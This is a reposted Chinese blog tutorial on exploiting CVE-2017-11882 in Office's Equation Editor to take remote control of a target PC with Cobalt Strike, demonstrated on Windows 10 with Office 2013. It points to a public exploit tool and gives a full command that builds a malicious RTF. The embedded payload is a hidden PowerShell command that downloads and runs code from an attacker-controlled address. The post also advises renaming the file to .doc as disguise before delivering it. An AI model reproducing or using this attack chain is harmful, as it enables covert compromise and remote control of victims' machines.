CVE-2017-11882 Office内存损坏漏洞利用

最新推荐文章于 2025-08-20 15:37:55 发布

转载最新推荐文章于 2025-08-20 15:37:55 发布 · 164 阅读

0 ·

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/dgjnszf/p/10887548.html

文章标签：

#python #运维

文章介绍了CVE - 2017 - 11882漏洞，该漏洞存在于Office公式编辑器组件中。演示了利用EXP工具生成恶意rtf文件，使目标PC回连到Cobalt Strike服务器并被远程控制的过程，包括生成Payload、恶意文件、投递并打开文件等步骤，演示环境为Windows 10 + Office 2013。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

CVE-2017-11882漏洞存在于Office的公式编辑器组件Eqnedit.exe中，GitHub上有EXP工具：https://github.com/unamer/CVE-2017-11882

这篇文章主要介绍如何利用exp工具生成恶意rtf文件，并当目标打开该恶意文件时目标PC能够回连到我们的Cobalt Strike服务器，从而被远程控制。

演示环境：Windows 10 + Office 2013

有些版本的Office可能不成功，这个我也没测那么多。

Office 2013：

第1步：生成PowerShell Payload

如下图利用Cobalt Strike生成PowerShell Payload：

第2步：生成恶意rtf文件

python2 CVE-2017-11882.py -c "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.56.130:80/a'))\"" -o test.doc

下载GitHub上的Exp工具，然后执行上述命令生成恶意RTF文件。为了更好的伪装，我们可以把*.rtf后缀改为*.doc，这并不影响文件的打开。

第3步：投递恶意文件并打开

为了演示，我把恶意RTF文件放到Windows 10虚拟机中运行。

第4步：木马上线

双击打开恶意RTF文件之后，Cobalt Strike界面会有上线提示：